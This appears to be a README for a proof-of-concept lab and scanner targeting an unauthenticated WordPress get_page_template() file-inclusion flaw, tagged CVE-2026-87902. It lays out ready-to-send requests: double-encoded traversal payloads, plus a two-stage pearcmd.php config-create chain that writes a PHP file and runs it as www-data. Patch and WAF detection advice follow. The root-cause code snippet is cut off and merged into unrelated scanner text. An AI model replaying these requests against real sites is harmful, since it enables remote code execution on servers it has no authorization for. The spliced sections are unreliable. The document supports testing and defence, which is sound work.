# CVE-2026-87902 / GHSA-7hp8-65ch-5whp — WordPress `get_page_template()` unauthenticated LFI → conditional RCE
Reproduction lab + URL-list scanner + PoC, built and **validated end-to-end** against genuine
WordPress **7.1.1 (vulnerable)** and **7.1.2 (patched)** on the Docker lab.
- **Type:** CWE-98 improper control of filename for `include`/`require` (path traversal → local PHP inclusion)
- **Affected:** WordPress **4.7.0 – 7.1.1** (fixed in **7.1.2** and per-branch backports: 7.0.6, 6.9.9, 6.8.10 … down to 4.7.37)
- **Auth:** none. **CVSS 4.0:** 9.2 (`AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H`)
- **Preconditions:** (1) active theme has a top-level directory named `page-*` (e.g. `page-templates/` — present in Twenty Twelve, Twenty Fourteen, Neve, Hestia, Sydney); (2) for RCE only: a readable `pearcmd.php` and `register_argc_argv=On`.
## 1. Root cause (verified against 7.1.1 vs 7.1.2 source)
`wp-includes/template.php :: get_page_template()` builds a template candidate from the
attacker-controlled `pagename` query var **without `validate_file()`**:
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // ` → `wp-links-opml.php` →
`readme.html` → `/wp-includes/` asset `?ver=`).
2. **Discover** a valid published page id (REST `/wp/v2/pages`, `?rest_route=` fallback, homepage
`page-id-N`, default `page_id=2`) — needed so the request resolves to a Page and `get_page_template()` runs.
3. **OPML oracle sweep:** for `segment × depth` (default segment `templates`, depths `4,3,5,6,7`), send
`page_id=&pagename=` (POST, to dodge canonical redirect) and
require an **HTTP 200** carrying `` + a *structural* secondary marker
4. **Negative control (causation proof):** on a hit, re-issue the identical request pointing at a
guaranteed-**non-existent** `.php`. If OPML still appears, the OPML is ambient (proxy / cache / feed
app), not our include → downgraded to `POSSIBLY`. Only a hit whose control is clean is `VULNERABLE`.
Robustness: preserves subdirectory paths (` handles gzip/deflate and odd charsets,
retries a probe once on transport error, discovers/validates page ids (REST → `?rest_route=` → homepage
→ defaults), enforces a per-target time budget, and never asserts `NOT_VULNERABLE` from a low-confidence
version source (asset `?ver=` / `readme.html`) — those degrade to `POSSIBLY`.
| `VULNERABLE` | OPML oracle fired — LFI confirmed (definitive) |
| `NOT_VULNERABLE` | patched branch version, or version outside 4.7.0–7.1.1 |
| `POSSIBLY_VULNERABLE` | vulnerable/unknown version but oracle silent (likely no `page-*` theme dir, non-standard layout, or no discoverable page id) — verify manually |
| `NOT_WORDPRESS` / `ERROR` | no WP indicators / transport failure |
Exit code: `2` if any VULNERABLE, `1` if any POSSIBLY (and no VULNERABLE), else `0`.
Useful flags: `--segments`, `--depths`, `--method {POST,GET,both}`, `--page-id`, `--max-pageids`,
`--max-time` (per-target budget), `--timeout`, `--threads`, `--proxy`, `--header`, `--insecure`
(TLS off — dev only), `--json`, `--jsonl`. For a WordPress-in-subdirectory install, pass the full base
(e.g. ` for Bedrock/core-in-`wp/` the sweep also tries `wp/`-prefixed oracle targets.
./cve-2026-87902-scan.py --verify-rce --i-have-authorization --page-id 2
Runs the PEAR `pearcmd.php` chain: the `+`-split query string carries `config-create` argv that writes
a quote-free marker `.php` under `/tmp`; a second request includes it. Prints the executed marker +
`php_uname()` + uid. **Writes a file on the target** → single-target, requires `--i-have-authorization`,
| `manual-validate.sh` / `ev-lfi.log` | OPML oracle fires on 7.1.1 (depth 4, POST **and** GET), silent on 7.1.2; only depth 4 works; single-encoding fails |
| `rce-validate.sh` / `ev-rce.log` | full PEAR RCE on 7.1.1 (uid=33 as `www-data`, depth 7); patched writes no file, executes nothing |
| `ev-scan-table.log` / `ev-scan-results.json` | scanner over {vuln, patched, non-WP, dead}: `VULNERABLE / NOT_VULNERABLE / NOT_WORDPRESS / ERROR` |
POST /?page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-links-opml
-> 200 with in the body (depth 4 = webroot on /var/www/html)
RCE (conditional; register_argc_argv=On + readable pearcmd.php):
Stage 1 POST /?+config-create+/+/tmp/x.php
body: page_id=2&pagename=templates%252f(%252e%252e%252f x7)usr%252flocal%252flib%252fphp%252fpearcmd
Stage 2 POST /?page_id=2&pagename=templates%252f(%252e%252e%252f x7)tmp%252fx
-> body contains the executed marker + php_uname() + uid=33
- **Update WordPress to 7.1.2** (or the fixed release for your branch: 7.0.6, 6.9.9, 6.8.10, … 4.7.37).
- Defense-in-depth: set PHP `register_argc_argv=Off` for the web SAPI and remove/deny `pearcmd.php`;
this removes the RCE escalation even if the LFI is reachable.
- Detection/WAF: after fully URL-decoding parameter **keys and values** (and duplicate params), block any
`pagename` containing `..`; the co-occurrence of `page_id` + a `pagename` beginning `templates%252f` /
containing `%252e%252e` on the site root or `/index.php` is a near-certain exploit signal.
*Authorized security testing, education, and defensive research only.*
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
